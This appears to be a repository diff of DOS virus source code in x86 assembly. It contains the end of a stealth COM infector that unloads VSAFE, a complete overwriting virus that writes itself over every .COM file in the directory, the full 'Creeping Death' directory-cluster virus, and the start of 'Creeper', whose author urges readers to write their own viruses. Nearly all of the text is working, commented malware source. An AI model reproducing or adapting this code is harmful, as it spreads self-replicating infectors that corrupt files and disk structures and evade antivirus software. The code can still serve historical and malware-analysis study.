||||
mov ax,4301h ;restores the atributes
|
||||
mov cx,word ptr cs:[attrib] ;of the file
|
||||
int 21h ;
|
||||
;
|
||||
popa ;
|
||||
;----------------------------------------------------------
|
||||
pushf ;
|
||||
pusha ; 8-( = f-prot
|
||||
push si ;
|
||||
push di ; 8-( = tbav
|
||||
push bp ;
|
||||
push es ; 8-) = I'm
|
||||
push ds ;
|
||||
;----------------------------------------------------------
|
||||
mov ax,2524H ;
|
||||
lea bx,error ;restore the
|
||||
mov ds,bx ;errors handler
|
||||
lea bx,error+2 ;
|
||||
int 21h ;
|
||||
;----------------------------------------------------------
|
||||
pop ds ;
|
||||
pop es ;
|
||||
pop bp ;restore the
|
||||
pop di ;resgisters
|
||||
pop si ;
|
||||
popa ;
|
||||
popf ;
|
||||
;----------------------------------------------------------
|
||||
JMP A3 ;jmp to orig. INT 21
|
||||
;
|
||||
;**********************************************************
|
||||
; SUBRUTINES AREA
|
||||
;**********************************************************
|
||||
;
|
||||
movedor: ;
|
||||
;
|
||||
xor cx,cx ;use to move file pointer
|
||||
xor dx,dx ;
|
||||
int 21h ;
|
||||
ret ;
|
||||
;----------------------------------------------------------
|
||||
all: ;
|
||||
;
|
||||
XOR AL,AL ;use to set
|
||||
iret ;error flag
|
||||
|
||||
;***********************************************************
|
||||
; DATA AREA
|
||||
;***********************************************************
|
||||
largo dw ?
|
||||
jump db 0e9h
|
||||
real db 0cdh,20h,0
|
||||
hora dw ?
|
||||
dia dw ?
|
||||
attrib dw ?
|
||||
int21 dd ?
|
||||
error dd ?
|
||||
|
||||
ÿ;------------------------
|
||||
action: ;Nothing Action!
|
||||
NOP ;only replicate
|
||||
ret ;Return to call
|
||||
;------------------------
|
||||
|
||||
ÿ;---------------------------------
|
||||
ANTI_V: ;
|
||||
MOV AX,0FA01H ;REMOVE VSAFE FROM MEMORY
|
||||
MOV DX,5945H ;
|
||||
INT 21H ;
|
||||
ret ;
|
||||
;---------------------------------
|
||||
|
||||
ÿ;*****************************************************
|
||||
dir_s:
|
||||
pushf
|
||||
push cs
|
||||
call a3 ;Get file Stats
|
||||
test al,al ;Good FCB?
|
||||
jnz no_good ;nope
|
||||
push ax
|
||||
push bx
|
||||
push es
|
||||
mov ah,51h ;Is this Undocmented? huh...
|
||||
int 21h
|
||||
mov es,bx
|
||||
cmp bx,es:[16h]
|
||||
jnz not_infected
|
||||
mov bx,dx
|
||||
mov al,[bx]
|
||||
push ax
|
||||
mov ah,2fh ;Get file DTA
|
||||
int 21h
|
||||
pop ax
|
||||
inc al
|
||||
jnz fcb_okay
|
||||
add bx,7h
|
||||
fcb_okay: mov ax,es:[bx+17h]
|
||||
and ax,1fh ;UnMask Seconds Field
|
||||
xor al,byte ptr cs:fechad
|
||||
jnz not_infected
|
||||
and byte ptr es:[bx+17h],0e0h
|
||||
sub es:[bx+1dh],OFFSET FIN - OFFSET START ;Yes minus virus size
|
||||
sbb es:[bx+1fh],ax
|
||||
not_infected:pop es
|
||||
pop bx
|
||||
pop ax
|
||||
no_good: iret
|
||||
;********************************************************************
|
||||
; THIS DIR STEALTH METOD IS EXTRAC FROM NUKEK INFO JOURNAL 4 & N-POX
|
||||
;*********************************************************************
|
||||
|
||||
ÿaction_dia Db 020H ;day for the action
|
||||
action_mes Db 0dH ;month for the action
|
||||
FECHA DW 01eH ;Secon for mark
|
||||
FECHAd Db 01eH ;Secon for mark dir st
|
||||
fin:
|
||||
code ends
|
||||
end start
|
||||
@@ -0,0 +1,59 @@
|
||||
|
||||
PAGE 59,132
|
||||
|
||||
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
|
||||
;ÛÛ ÛÛ
|
||||
;ÛÛ COPYR ÛÛ
|
||||
;ÛÛ ÛÛ
|
||||
;ÛÛ Created: 1-Jan-80 ÛÛ
|
||||
;ÛÛ Version: ÛÛ
|
||||
;ÛÛ Passes: 5 Analysis Options on: AFOP ÛÛ
|
||||
;ÛÛ ÛÛ
|
||||
;ÛÛ ÛÛ
|
||||
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
|
||||
|
||||
data_1e equ 9Eh ; (996E:009E=0)
|
||||
|
||||
seg_a segment byte public
|
||||
assume cs:seg_a, ds:seg_a
|
||||
|
||||
|
||||
org 100h
|
||||
|
||||
COPYR proc far
|
||||
|
||||
start:
|
||||
mov ah,4Eh ; 'N'
|
||||
mov cl,20h ; ' '
|
||||
mov dx,offset data_3 ; (996E:0128=2Ah)
|
||||
int 21h ; DOS Services ah=function 4Eh
|
||||
; find 1st filenam match @ds:dx
|
||||
loc_1:
|
||||
mov dx,data_1e ; (996E:009E=0)
|
||||
mov ax,3D01h
|
||||
int 21h ; DOS Services ah=function 3Dh
|
||||
; open file, al=mode,name@ds:dx
|
||||
mov bx,ax
|
||||
mov dx,offset ds:[100h] ; (996E:0100=0B4h)
|
||||
mov cl,2Eh ; '.'
|
||||
mov ah,40h ; '@'
|
||||
int 21h ; DOS Services ah=function 40h
|
||||
; write file cx=bytes, to ds:dx
|
||||
mov ah,3Eh ; '>'
|
||||
int 21h ; DOS Services ah=function 3Eh
|
||||
; close file, bx=file handle
|
||||
mov ah,4Fh ; 'O'
|
||||
int 21h ; DOS Services ah=function 4Fh
|
||||
; find next filename match
|
||||
jnc loc_1 ; Jump if carry=0
|
||||
int 20h ; Program Terminate
|
||||
data_3 db 2Ah
|
||||
db 2Eh, 43h, 4Fh, 4Dh, 00h
|
||||
|
||||
COPYR endp
|
||||
|
||||
seg_a ends
|
||||
|
||||
|
||||
|
||||
end start
|
||||
@@ -0,0 +1,558 @@
|
||||
; Creeping Death V 1.0
|
||||
;
|
||||
; (C) Copyright 1991 by VirusSoft Corp.
|
||||
|
||||
i13org = 5f8h
|
||||
i21org = 5fch
|
||||
|
||||
dir_2 segment byte public
|
||||
assume cs:dir_2, ds:dir_2
|
||||
|
||||
org 100h
|
||||
|
||||
start:
|
||||
mov sp,600h ; Set up the stack pointer
|
||||
inc word ptr counter ; Generation counter
|
||||
xor cx,cx
|
||||
mov ds,cx ; DS points to interrupt table
|
||||
lds ax, ds:[0c1h] ; Find interrupt 30h
|
||||
add ax,21h ; Change it to Int 21h
|
||||
push ds ; Save it on stack for use by
|
||||
push ax ; subroutine "jump"
|
||||
mov ah,30h ; Get DOS version
|
||||
call jump
|
||||
cmp al,4 ; DOS 4.X+ : SI = 0
|
||||
sbb si,si ; DOS 2/3 : SI = -1
|
||||
mov byte ptr [drive+2],byte ptr -1 ; Initialise last drive to
|
||||
; "never accessed"
|
||||
mov bx,60h ; Adjust memory in ES to
|
||||
mov ah,4ah ; BX paragraphs.
|
||||
call jump
|
||||
|
||||
mov ah,52h ; Get DOS List of Lists
|
||||
call jump ; to ES:BX
|
||||
push es:[bx-2] ; Save Segment of first MCB
|
||||
lds bx,es:[bx] ; DS:BX -> 1st DPB
|
||||
; (Drive parameter block)
|
||||
search: mov ax,[bx+si+15h] ; Get segment of device driver
|
||||
cmp ax,70h ; Is it CONFIG? (I think)
|
||||
jne next ; If not, try again
|
||||
xchg ax,cx ; Move driver segment to CX
|
||||
mov [bx+si+18h],byte ptr -1 ; Flag block must be rebuilt
|
||||
mov di,[bx+si+13h] ; Save offset of device driver
|
||||
; Original device driver
|
||||
; address in CX:DI
|
||||
mov [bx+si+13h],offset header ; Replace with our own
|
||||
mov [bx+si+15h],cs ; (header)
|
||||
next: lds bx,[bx+si+19h] ; Get next device block
|
||||
cmp bx,-1 ; Is it the last one?
|
||||
jne search ; If not, search it
|
||||
jcxz install
|
||||
|
||||
pop ds ; Restore segment of first
|
||||
mov ax,ds ; MCB
|
||||
add ax,ds:[3] ; Go to next MCB
|
||||
inc ax ; AX = segment next MCB
|
||||
mov dx,cs ; DX = MCB owning current
|
||||
dec dx ; program
|
||||
cmp ax,dx ; Are these the same?
|
||||
jne no_boot ; If not, we are not currently
|
||||
; in the middle of a reboot
|
||||
add word ptr ds:[3],61h ; Increase length owned by
|
||||
; MCB by 1552 bytes
|
||||
no_boot: mov ds,dx ; DS = MCB owning current
|
||||
; program
|
||||
mov word ptr ds:[1],8 ; Set owner = DOS
|
||||
|
||||
mov ds,cx ; DS = segment of original
|
||||
; device driver
|
||||
les ax,[di+6] ; ES = offset int handler
|
||||
; AX = offset strategy entry
|
||||
mov word ptr cs:str_block,ax ; Save entry point
|
||||
mov word ptr cs:int_block,es ; And int block for use in
|
||||
; function _in
|
||||
cld ; Scan for the write
|
||||
mov si,1 ; function in the
|
||||
scan: dec si ; original device driver
|
||||
lodsw
|
||||
cmp ax,1effh
|
||||
jne scan
|
||||
mov ax,2cah ; Wicked un-yar place o'
|
||||
cmp [si+4],ax ; doom.
|
||||
je right
|
||||
cmp [si+5],ax
|
||||
jne scan
|
||||
right: lodsw
|
||||
push cs
|
||||
pop es
|
||||
mov di,offset modify+1 ; Save address of patch
|
||||
stosw ; area so it can be changed
|
||||
xchg ax,si ; later.
|
||||
mov di,offset i13org ; This is in the stack, but
|
||||
cli ; it is used by "i13pr"
|
||||
movsw
|
||||
movsw
|
||||
|
||||
mov dx,0c000h ; Scan for hard disk ROM
|
||||
; Start search @ segment C000h
|
||||
fdsk1: mov ds,dx ; Load up the segment
|
||||
xor si,si ; atart at offset 0000h
|
||||
lodsw ; Scan for the signature
|
||||
cmp ax,0aa55h ; Is it the signature?
|
||||
jne fdsk4 ; If not, change segment
|
||||
cbw ; clear AH
|
||||
lodsb ; load a byte to AL
|
||||
mov cl,9
|
||||
sal ax,cl ; Shift left, 0 filled
|
||||
fdsk2: cmp [si],6c7h
|
||||
jne fdsk3
|
||||
cmp word ptr [si+2],4ch
|
||||
jne fdsk3
|
||||
push dx ; Save the segment
|
||||
push [si+4] ; and offset on stack
|
||||
jmp short death ; for use by i13pr
|
||||
|
||||
install: int 20h
|
||||
file: db "c:",255,0
|
||||
fdsk3: inc si ; Increment search offset
|
||||
cmp si,ax ; If we are not too high,
|
||||
jb fdsk2 ; try again
|
||||
fdsk4: inc dx ; Increment search segment
|
||||
cmp dh,0f0h ; If we are not in high
|
||||
jb fdsk1 ; memory, try again
|
||||
|
||||
sub sp,4 ; effectively push dummy vars.
|
||||
death: push cs ; on stack for use by i13pr
|
||||
pop ds
|
||||
mov bx,ds:[2ch] ; Get environment from PSP
|
||||
mov es,bx
|
||||
mov ah,49h ; Release it (to save memory)
|
||||
call jump
|
||||
xor ax,ax
|
||||
test bx,bx ; Is BX = 0?
|
||||
jz boot ; If so, we are booting now
|
||||
mov di,1 ; and not running a file
|
||||
seek: dec di ; Search for end of
|
||||
scasw ; the environment block
|
||||
jne seek
|
||||
lea si,[di+2] ; SI points to filename
|
||||
jmp short exec ; (in DOS 3.X+)
|
||||
; Execute that file
|
||||
boot: mov es,ds:[16h] ; get PSP of parent
|
||||
mov bx,es:[16h] ; get PSP of parent
|
||||
dec bx ; go to its MCB
|
||||
xor si,si
|
||||
exec: push bx
|
||||
mov bx,offset param ; Set up parameter block
|
||||
; for EXEC function
|
||||
mov [bx+4],cs ; segment to command line
|
||||
mov [bx+8],cs ; segment to 1st FCB
|
||||
mov [bx+12],cs ; segment to 2nd FCB
|
||||
pop ds
|
||||
push cs
|
||||
pop es
|
||||
|
||||
mov di,offset f_name
|
||||
push di ; Save filename offset
|
||||
mov cx,40 ; Copy the filename to
|
||||
rep movsw ; the buffer
|
||||
push cs
|
||||
pop ds
|
||||
|
||||
mov ah,3dh ; Handle open file
|
||||
mov dx,offset file ; "c:ÿ",0
|
||||
call jump
|
||||
pop dx ; DS:DX -> filename
|
||||
|
||||
mov ax,4b00h ; Load and Execute
|
||||
call jump ; ES:BX = param block
|
||||
mov ah,4dh ; Get errorlevel
|
||||
call jump
|
||||
mov ah,4ch ; Terminate
|
||||
|
||||
jump: pushf ; Simulate an interrupt 21h
|
||||
call dword ptr cs:[i21org]
|
||||
ret
|
||||
|
||||
|
||||
;--------Installation complete
|
||||
|
||||
i13pr: mov ah,3 ; Write AL sectors from ES:BX
|
||||
jmp dword ptr cs:[i13org] ; to track CH, sector CL,
|
||||
; head DH, drive DL
|
||||
|
||||
|
||||
main: push ax ; driver
|
||||
push cx ; strategy block
|
||||
push dx
|
||||
push ds
|
||||
push si
|
||||
push di
|
||||
|
||||
push es ; Move segment of parameter
|
||||
pop ds ; block to DS
|
||||
mov al,[bx+2] ; [bx+2] holds command code
|
||||
|
||||
cmp al,4 ; Input (read)
|
||||
je input
|
||||
cmp al,8 ; Output (write)
|
||||
je output
|
||||
cmp al,9 ; Output (write) with verify
|
||||
je output
|
||||
|
||||
call in_ ; Call original device
|
||||
cmp al,2 ; Request build BPB
|
||||
jne ppp ; If none of the above, exit
|
||||
lds si,[bx+12h] ; DS:SI point to BPB table
|
||||
mov di,offset bpb_buf ; Replace old pointer with
|
||||
mov es:[bx+12h],di ; a pointer to our own
|
||||
mov es:[bx+14h],cs ; BPB table
|
||||
push es ; Save segment of parameters
|
||||
push cs
|
||||
pop es
|
||||
mov cx,16 ; Copy the old BPB table to
|
||||
rep movsw ; our own
|
||||
pop es ; Restore parameter segment
|
||||
push cs
|
||||
pop ds
|
||||
mov al,[di+2-32] ; AL = sectors per allocation
|
||||
cmp al,2 ; unit. If less than
|
||||
adc al,0 ; 2, increment
|
||||
cbw ; Extend sign to AH (clear AH)
|
||||
cmp word ptr [di+8-32],0 ; Is total number sectors = 0?
|
||||
je m32 ; If so, big partition (>32MB)
|
||||
sub [di+8-32],ax ; Decrease space of disk by
|
||||
; one allocation unit(cluster)
|
||||
jmp short ppp ; Exit
|
||||
m32: sub [di+15h-32],ax ; Handle large partitions
|
||||
sbb word ptr [di+17h-32],0
|
||||
|
||||
ppp: pop di
|
||||
pop si
|
||||
pop ds
|
||||
pop dx
|
||||
pop cx
|
||||
pop ax
|
||||
rts: retf ; We are outta here!
|
||||
|
||||
output: mov cx,0ff09h
|
||||
call check ; is it a new disk?
|
||||
jz inf_sec ; If not, go away
|
||||
call in_ ; Call original device handler
|
||||
jmp short inf_dsk
|
||||
|
||||
inf_sec: jmp _inf_sec
|
||||
read: jmp _read
|
||||
read_: add sp,16 ; Restore the stack
|
||||
jmp short ppp ; Leave device driver
|
||||
|
||||
input: call check ; Is it a new disk?
|
||||
jz read ; If not, leave
|
||||
inf_dsk: mov byte ptr [bx+2],4 ; Set command code to READ
|
||||
cld
|
||||
lea si,[bx+0eh] ; Load from buffer address
|
||||
mov cx,8 ; Save device driver request
|
||||
save: lodsw ; on the stack
|
||||
push ax
|
||||
loop save
|
||||
mov word ptr [bx+14h],1 ; Starting sector number = 1
|
||||
; (Read 1st FAT)
|
||||
call driver ; Read one sector
|
||||
jnz read_ ; If error, exit
|
||||
mov byte ptr [bx+2],2 ; Otherwise build BPB
|
||||
call in_ ; Have original driver do the
|
||||
; work
|
||||
lds si,[bx+12h] ; DS:SI points to BPB table
|
||||
mov ax,[si+6] ; Number root directory entries
|
||||
add ax,15 ; Round up
|
||||
mov cl,4
|
||||
shr ax,cl ; Divide by 16 to find sectors
|
||||
; of root directory
|
||||
mov di,[si+0bh] ; DI = sectors/FAT
|
||||
add di,di ; Double for 2 FATs
|
||||
stc ; Add one for boot record
|
||||
adc di,ax ; Add sector size of root dir
|
||||
push di ; to find starting sector of
|
||||
; data (and read)
|
||||
cwd ; Clear DX
|
||||
mov ax,[si+8] ; AX = total sectors
|
||||
test ax,ax ; If it is zero, then we have
|
||||
jnz more ; an extended partition(>32MB)
|
||||
mov ax,[si+15h] ; Load DX:AX with total number
|
||||
mov dx,[si+17h] ; of sectors
|
||||
more: xor cx,cx
|
||||
sub ax,di ; Calculate FAT entry for last
|
||||
; sector of disk
|
||||
sbb dx,cx
|
||||
mov cl,[si+2] ; CL = sectors/cluster
|
||||
div cx ; AX = cluster #
|
||||
cmp cl,2 ; If there is more than 1
|
||||
sbb ax,-1 ; cluster/sector, add one
|
||||
push ax ; Save cluster number
|
||||
call convert ; AX = sector number to read
|
||||
; DX = offset in sector AX
|
||||
; of FAT entry
|
||||
; DI = mask for EOF marker
|
||||
mov byte ptr es:[bx+2],4 ; INPUT (read)
|
||||
mov es:[bx+14h],ax ; Starting sector = AX
|
||||
call driver ; One sector only
|
||||
again: lds si,es:[bx+0eh] ; DS:SI = buffer address
|
||||
add si,dx ; Go to FAT entry
|
||||
sub dh,cl ; Calculate a new encryption
|
||||
adc dx,ax ; value
|
||||
mov word ptr cs:gad+1,dx ; Change the encryption value
|
||||
cmp cl,1 ; If there is 0 cluster/sector
|
||||
je small_ ; then jump to "small_"
|
||||
mov ax,[si] ; Load AX with offset of FAT
|
||||
; entry
|
||||
and ax,di ; Mask it with value from
|
||||
; "convert" then test to see
|
||||
; if the sector is fine
|
||||
cmp ax,0fff7h ; 16 bit reserved/bad
|
||||
je bad
|
||||
cmp ax,0ff7h ; 12 bit reserved/bad
|
||||
je bad
|
||||
cmp ax,0ff70h ; 12 bit reserved/bad
|
||||
jne ok
|
||||
bad: pop ax ; Tried to replicate on a bad
|
||||
dec ax ; cluster. Try again on a
|
||||
push ax ; lower one.
|
||||
call convert ; Find where it is in the FAT
|
||||
jmp short again ; and try once more
|
||||
small_: not di ; Reverse mask bits
|
||||
and [si],di ; Clear other bits
|
||||
pop ax ; AX = cluster number
|
||||
push ax
|
||||
inc ax ; Need to do 2 consecutive
|
||||
push ax ; bytes
|
||||
mov dx,0fh
|
||||
test di,dx
|
||||
jz here
|
||||
inc dx ; Multiply by 16
|
||||
mul dx
|
||||
here: or [si],ax ; Set cluster to next
|
||||
pop ax ; Restore cluster of write
|
||||
call convert ; Calculate buffer offset
|
||||
mov si,es:[bx+0eh] ; Go to FAT entry (in buffer)
|
||||
add si,dx
|
||||
mov ax,[si]
|
||||
and ax,di
|
||||
ok: mov dx,di ; DI = mask from "convert"
|
||||
dec dx
|
||||
and dx,di ; Yerg!
|
||||
not di
|
||||
and [si],di
|
||||
or [si],dx ; Set [si] to DI
|
||||
|
||||
cmp ax,dx ; Did we change the FAT?
|
||||
pop ax ; i.e. Are we already on this
|
||||
pop di ; disk?
|
||||
mov word ptr cs:pointer+1,ax ; Our own starting cluster
|
||||
je _read_ ; If we didn't infect, then
|
||||
; leave the routine. Oh
|
||||
; welp-o.
|
||||
mov dx,[si]
|
||||
push ds
|
||||
push si
|
||||
call write ; Update the FAT
|
||||
pop si
|
||||
pop ds
|
||||
jnz _read_ ; Quit if there's an error
|
||||
call driver
|
||||
cmp [si],dx
|
||||
jne _read_
|
||||
dec ax
|
||||
dec ax
|
||||
mul cx ; Multiply by sectors/cluster
|
||||
; to find the sector of the
|
||||
; write
|
||||
add ax,di
|
||||
adc dx,0
|
||||
push es
|
||||
pop ds
|
||||
mov word ptr [bx+12h],2 ; Byte/sector count
|
||||
mov [bx+14h],ax ; Starting sector #
|
||||
test dx,dx
|
||||
jz less
|
||||
mov word ptr [bx+14h],-1 ; Flag extended partition
|
||||
mov [bx+1ah],ax ; Handle the sector of the
|
||||
mov [bx+1ch],dx ; extended partition
|
||||
less: mov [bx+10h],cs ; Transfer address segment
|
||||
mov [bx+0eh],100h ; and the offset (duh)
|
||||
call write ; Zopy ourselves!
|
||||
; (We want to travel)
|
||||
_read_: std
|
||||
lea di,[bx+1ch] ; Restore device driver header
|
||||
mov cx,8 ; from the stack
|
||||
load: pop ax
|
||||
stosw
|
||||
loop load
|
||||
_read: call in_ ; Call original device handler
|
||||
|
||||
mov cx,9
|
||||
_inf_sec:
|
||||
mov di,es:[bx+12h] ; Bytes/Sector
|
||||
lds si,es:[bx+0eh] ; DS:SI = pointer to buffer
|
||||
sal di,cl ; Multiply by 512
|
||||
; DI = byte count
|
||||
xor cl,cl
|
||||
add di,si ; Go to address in the buffer
|
||||
xor dl,dl ; Flag for an infection in
|
||||
; function find
|
||||
push ds
|
||||
push si
|
||||
call find ; Infect the directory
|
||||
jcxz no_inf
|
||||
call write ; Write it back to the disk
|
||||
and es:[bx+4],byte ptr 07fh ; Clear error bit in status
|
||||
; word
|
||||
no_inf: pop si
|
||||
pop ds
|
||||
inc dx ; Flag for a decryption in
|
||||
; function find
|
||||
call find ; Return right information to
|
||||
; calling program
|
||||
jmp ppp
|
||||
|
||||
;--------Subroutines
|
||||
|
||||
find: mov ax,[si+8] ; Check filename extension
|
||||
cmp ax,"XE" ; in directory structure
|
||||
jne com
|
||||
cmp [si+10],al
|
||||
je found
|
||||
com: cmp ax,"OC"
|
||||
jne go_on
|
||||
cmp byte ptr [si+10],"M"
|
||||
jne go_on
|
||||
found: test [si+1eh],0ffc0h ; >4MB ; Check file size high word
|
||||
jnz go_on ; to see if it is too big
|
||||
test [si+1dh],03ff8h ; <2048B ; Check file size low word
|
||||
jz go_on ; to see if it is too small
|
||||
test [si+0bh],byte ptr 1ch ; Check attribute for subdir,
|
||||
jnz go_on ; volume label or system file
|
||||
test dl,dl ; If none of these, check DX
|
||||
jnz rest ; If not 0, decrypt
|
||||
pointer: mov ax,1234h ; mov ax, XX modified elsewhere
|
||||
cmp ax,[si+1ah] ; Check for same starting
|
||||
; cluster number as us
|
||||
je go_on ; If it is, then try another
|
||||
xchg ax,[si+1ah] ; Otherwise make it point to
|
||||
; us.
|
||||
gad: xor ax,1234h ; Encrypt their starting
|
||||
; cluster
|
||||
mov [si+14h],ax ; And put it in area reserved
|
||||
; by DOS for no purpose
|
||||
loop go_on ; Try another file
|
||||
rest: xor ax,ax ; Disinfect the file
|
||||
xchg ax,[si+14h] ; Get starting cluster
|
||||
xor ax,word ptr cs:gad+1 ; Decrypt the starting cluster
|
||||
mov [si+1ah],ax ; and put it back
|
||||
go_on: db 2eh,0d1h,6 ; rol cs:[gad+1], 1
|
||||
dw offset gad+1 ; Change encryption and
|
||||
add si,32 ; go to next file
|
||||
cmp di,si ; If it is not past the end of
|
||||
jne find ; the buffer, then try again
|
||||
ret ; Otherwise quit
|
||||
|
||||
check: mov ah,[bx+1] ; ah = unit code (block device
|
||||
; only)
|
||||
drive: cmp ah,-1 ; cmp ah, XX can change.
|
||||
; Compare with the last call
|
||||
; -1 is just a dummy
|
||||
; impossible value that will
|
||||
; force the change to be true
|
||||
mov byte ptr cs:[drive+2],ah ; Save this call's drive
|
||||
jne changed ; If not the same as last call
|
||||
; media has changed
|
||||
push [bx+0eh] ; If it is the same physical
|
||||
; drive, see if floppy has
|
||||
; been changed
|
||||
mov byte ptr [bx+2],1 ; Tell original driver to do a
|
||||
call in_ ; media check (block only)
|
||||
cmp byte ptr [bx+0eh],1 ; Returns 1 in [bx+0eh] if
|
||||
pop [bx+0eh] ; media has not been changed
|
||||
mov [bx+2],al ; Restore command code
|
||||
changed: ret ; CF,ZF set if media has not
|
||||
; been changed, not set if
|
||||
; has been changed or we don't
|
||||
; know
|
||||
write: cmp byte ptr es:[bx+2],8 ; If we want OUTPUT, go to
|
||||
jae in_ ; original device handler
|
||||
; and return to caller
|
||||
mov byte ptr es:[bx+2],4 ; Otherwise, request INPUT
|
||||
mov si,70h
|
||||
mov ds,si ; DS = our segment
|
||||
modify: mov si,1234h ; Address is changed elsewhere
|
||||
push [si]
|
||||
push [si+2]
|
||||
mov [si],offset i13pr
|
||||
mov [si+2],cs
|
||||
call in_ ; Call original device handler
|
||||
pop [si+2]
|
||||
pop [si]
|
||||
ret
|
||||
|
||||
driver: mov word ptr es:[bx+12h],1 ; One sector
|
||||
in_: ; in_ first calls the strategy
|
||||
; of the original device
|
||||
; driver and then calls the
|
||||
; interrupt handler
|
||||
db 09ah ; CALL FAR PTR
|
||||
str_block:
|
||||
dw ?,70h ; address
|
||||
db 09ah ; CALL FAR PTR
|
||||
int_block:
|
||||
dw ?,70h ; address
|
||||
test es:[bx+4],byte ptr 80h ; Was there an error?
|
||||
ret
|
||||
|
||||
convert: cmp ax,0ff0h ; 0FFF0h if 12 bit FAT
|
||||
jae fat_16 ; 0FF0h = reserved cluster
|
||||
mov si,3 ; 12 bit FAT
|
||||
xor word ptr cs:[si+gad-1],si ; Change the encryption value
|
||||
mul si ; Multiply by 3 and
|
||||
shr ax,1 ; divide by 2
|
||||
mov di,0fffh ; Mark it EOF (low 12 bits)
|
||||
jnc cont ; if it is even, continue
|
||||
mov di,0fff0h ; otherwise, mark it EOF (high
|
||||
jmp short cont ; 12 bits) and then continue
|
||||
fat_16: mov si,2 ; 16 bit FAT
|
||||
mul si ; Double cluster #
|
||||
mov di,0ffffh ; Mark it as end of file
|
||||
cont: mov si,512
|
||||
div si ; AX = sector number
|
||||
; (relative to start of FAT)
|
||||
; DX = offset in sector AX
|
||||
header: inc ax ; Increment AX to account for
|
||||
ret ; boot record
|
||||
|
||||
counter: dw 0
|
||||
|
||||
dw 842h ; Attribute
|
||||
; Block device
|
||||
; DOS 3 OPEN/CLOSE removable
|
||||
; media calls supported
|
||||
; Generic IOCTL call supported
|
||||
; Supports 32 bit sectors
|
||||
dw offset main ; Strategy routine
|
||||
dw offset rts ; Interrupt routine (rtf)
|
||||
db 7fh ; Number of subunits supported
|
||||
; by this driver. Wow, lookit
|
||||
; it -- it's so large and juicy
|
||||
|
||||
; Parameter block format:
|
||||
; 0 WORD Segment of environment
|
||||
; 2 DWORD pointer to command line
|
||||
; 6 DWORD pointer to 1st default FCB
|
||||
;10 DWORD pointer to 2nd default FCB
|
||||
param: dw 0,80h,?,5ch,?,6ch,?
|
||||
|
||||
bpb_buf: db 32 dup(?)
|
||||
f_name: db 80 dup(?)
|
||||
|
||||
;--------The End.
|
||||
dir_2 ends
|
||||
end start
|
||||
|
||||
|
||||
@@ -0,0 +1,328 @@
|
||||
;
|
||||
; Demoralized Youth proudly presents: Creeper v1.0, Original Source
|
||||
;
|
||||
; Written by: TORMENTOR
|
||||
;
|
||||
; Yez, here it is... It's not like 4096 or Pogue, but it's a virus!
|
||||
; The reason why I release the original source is that I think I
|
||||
; can't do much more on this virus... I will start from scratch
|
||||
; and write a larger and more smarter EXE-virus...
|
||||
; And if I release this source maybe YOU will get some god ideas and
|
||||
; write your own virus (or rewrite this!)...
|
||||
; And if you do, Great! Feel free to mix with it as much as you want
|
||||
; but please don't change this file!
|
||||
; Well, go on and write virus! The world is to safe!
|
||||
;
|
||||
;
|
||||
; Regards / TORMENTOR
|
||||
;
|
||||
|
||||
code segment byte public
|
||||
assume cs:code, ds:code, es:code, ss:code
|
||||
|
||||
|
||||
org 100h
|
||||
|
||||
|
||||
codebeg:
|
||||
|
||||
|
||||
mov ax,043FFh ; Remove virus from code!
|
||||
int 21h
|
||||
|
||||
; Let's allocate some mem!
|
||||
|
||||
mov ax,ds
|
||||
sub ax,11h
|
||||
mov ds,ax
|
||||
cmp byte ptr ds:[0100h],5Ah
|
||||
jnz skip
|
||||
mov ax,ds:[0103h]
|
||||
sub ax,40h
|
||||
jb skip
|
||||
mov ds:[0103h],ax
|
||||
sub word ptr ds:[0112h],50h
|
||||
mov es,ds:[0112h]
|
||||
push cs
|
||||
pop ds
|
||||
mov cx,code_end-codebeg
|
||||
mov di,100h
|
||||
push di
|
||||
mov si,di
|
||||
rep movsb
|
||||
|
||||
push es
|
||||
pop ds
|
||||
|
||||
mov ax,351Ch
|
||||
int 21h
|
||||
mov word ptr ds:[int1Cret],bx
|
||||
mov word ptr ds:[int1Cret+2],es
|
||||
mov al,21h
|
||||
int 21h
|
||||
mov word ptr ds:[real21+1],bx
|
||||
mov word ptr ds:[real21+3],es
|
||||
|
||||
mov ah,25h
|
||||
mov dx,offset int21beg
|
||||
int 21h
|
||||
mov al,1Ch
|
||||
mov dx,offset int1Cnew
|
||||
int 21h
|
||||
|
||||
push cs
|
||||
push cs
|
||||
pop es
|
||||
pop ds
|
||||
|
||||
ret
|
||||
|
||||
skip: int 20h
|
||||
|
||||
|
||||
int21beg: push ax
|
||||
sub ax,4B00h
|
||||
jz infect
|
||||
pop ax
|
||||
cmp ax,043FFh ; Check if Harakiri.
|
||||
jne real21
|
||||
|
||||
mov ax,word ptr ds:[retdata]
|
||||
mov si,ax
|
||||
mov di,100h
|
||||
mov cx,code_end-codebeg
|
||||
rep movsb
|
||||
|
||||
mov ax,100h
|
||||
|
||||
pop cx
|
||||
pop cx
|
||||
push es
|
||||
push ax
|
||||
iret
|
||||
|
||||
real21: db 0EAh, 00h, 00h, 00h, 00h ; Jump to org21vec.
|
||||
|
||||
|
||||
retdata: db 00h, 00h
|
||||
|
||||
f_time: dw 0000h
|
||||
|
||||
f_date: dw 0000h
|
||||
|
||||
infect: pop ax
|
||||
|
||||
push ax
|
||||
push bx
|
||||
push cx
|
||||
push di
|
||||
push ds
|
||||
push dx
|
||||
push si
|
||||
|
||||
|
||||
mov ah,43h ; Get file attr.
|
||||
int 21h
|
||||
mov ax,4301h
|
||||
and cx,0FEh ; Strip the Read-only-flag
|
||||
int 21h
|
||||
|
||||
mov ax,3D02h ; Open victim.
|
||||
int 21h
|
||||
|
||||
xchg ax,bx
|
||||
|
||||
call sub_2
|
||||
|
||||
sub_2: mov di,sp ; God what I hate that Eskimo!
|
||||
mov si,ss:[di]
|
||||
inc sp
|
||||
inc sp
|
||||
|
||||
push cs
|
||||
pop ds
|
||||
|
||||
mov ax,5700h ; Get file's time and date
|
||||
int 21h
|
||||
mov [si-(sub_2-f_time)],cx
|
||||
mov [si-(sub_2-f_date)],dx ; And save them...
|
||||
|
||||
